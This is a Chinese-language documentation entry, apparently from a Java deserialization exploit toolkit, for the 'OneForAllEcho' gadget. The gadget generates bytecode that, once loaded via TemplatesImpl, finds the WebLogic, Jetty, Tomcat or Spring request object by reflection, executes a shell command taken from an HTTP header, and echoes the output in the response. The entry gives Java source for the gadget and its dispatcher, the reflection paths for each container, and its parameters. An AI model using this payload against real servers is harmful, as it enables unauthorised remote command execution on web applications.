- 类别:bytecode 别名:— 优先级:10
- 作者:4ra1n
- 依赖:无(生成的字节码在目标端按需反射,不引入攻击方依赖)
生成一段"万能"命令回显字节码:一个 Payload 同时兼容 WebLogic、Jetty、Tomcat、Spring 四类中间件,运行时自动探测当前容器类型并从指定 HTTP 请求头取命令、执行、把结果写回响应体,实现无文件的命令执行回显。属于链尾字节码 sink(END)。
- 入口
tags:Bytecode、Echo、ENDBytecode:本 gadget 产出的是原始类字节码(byte[]),需由上游的BytecodeConvert之类装载器把它包进TemplatesImpl并触发defineClass。Echo:标识"命令回显"型 sink。END:链的最内环、终点,其后不再衔接其它 gadget。
- 衔接
nextTags:空 —— 作为终点不产出可继续包装的对象。 excludes:空。
gadget 本体极薄,真正的攻击逻辑在被 Javassist 改写的模板类 OneForAllEchoBytecode 中:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(OneForAllEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header); // 把回显请求头名写死进模板
javassistHelper.modifyBooleanField("debug", this.debug);
javassistHelper.modifyBooleanField("once", this.once);
return javassistHelper.getBytecode(); // 返回改写后的类字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 环,其后无 gadget,仅走一遍链上下文
return this.getObject();
}JavassistHelper 以模板类 OneForAllEchoBytecode 的已编译字节码为蓝本,用 modifyStringField / modifyBooleanField 把静态字段 header/debug/once 的初值替换为用户参数,再 getBytecode() 导出为 byte[]。这段 byte[] 会被上游 BytecodeConvert 塞进 TemplatesImpl._bytecodes,反序列化触发 TemplatesImpl.newTransformer() → defineClass → 静态块执行。
模板类通过静态块入口执行 run(),逐一探测四类容器:
static { OneForAllEchoBytecode.run(); }
public static void run() {
if (isJetty()) { doJetty(); if (once) return; }
if (isWeblogic()) { doWeblogic(); if (once) return; }
if (isTomcat()) { doTomcat(); if (once) return; }
if (isSpring()) { doSpring(); }
}isXxx() 均以 Class.forName 探测各容器特征类(Jetty ServletContextHandler、WebLogic ServletRequestImpl、Tomcat Bootstrap、Spring RequestAttributes)判定环境。命中后各 doXxx() 用反射从当前线程/线程组里翻出 Request/Response 对象:
doTomcat():遍历ThreadGroup.threads,找到 http 处理线程,沿target → this$0 → handler → global → processors → req反射链取到请求,读header头执行命令,再经ByteChunk.doWrite写回。doWeblogic():Thread.getCurrentWork()→ServletRequestImpl→getHeader→writeStream回显。doJetty():翻Thread.threadLocals.table,找AsyncHttpConnection/HttpConnection,取getRequest/getWriter回显。doSpring():RequestContextHolder.getRequestAttributes()取 request/response 回显。
命令执行统一在 exec(),按 os.name 选 sh -c 或 cmd.exe /c,读取标准输出(空则读错误流)并以 GBK 解码返回。debug=true 时会向目标 stdout 打印探测日志;once=true 表示某类容器回显成功即返回、不再尝试后续。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 携带待执行命令的 HTTP Header 名 | X-Authorization |
任意 |
debug |
打印调试信息 | 是否在目标进程 stdout 打印探测/回显调试日志 | false |
true/false |
once |
成功后返回 | 成功回显一次后是否停止尝试后续容器 | false |
true/false |
- 与具体依赖版本无关:模板类在目标端全程反射调用容器内部字段/方法,不硬编译任何容器 API,因此对 Jetty/WebLogic/Tomcat/Spring 的多版本有较强兼容性。
- 需要一个能加载并触发字节码的上游(
TemplatesImpl系),因此常见落地形态是[BytecodeConvert, OneForAllEcho]或更长链的最内环,且要求目标 JDK 允许TemplatesImpl定义类(JDK < 17,或配合高版本绕过 gadget)。 - 回显走的是明文 HTTP,命令在请求头、结果在响应体,流量层可检测。
- 回显结果按
GBK解码,非中文/UTF-8 环境可能乱码。
自由构件,未直接出现在预设链(usedInChains 为空)。可替换 命令执行/23-命令执行 一类链中的 Exec,与 BytecodeConvert 组合使用。
- 上游(消费本
Bytecode产物):BytecodeConvert、TemplatesImpl。 - 同族回显 sink:ResinEcho(Resin 专用回显)、以及
TomcatEcho/JettyEcho/WebLogicEcho等单容器回显。 - 同族非回显 sink:Exec(直接命令执行)、ReverseShell、OsSleep。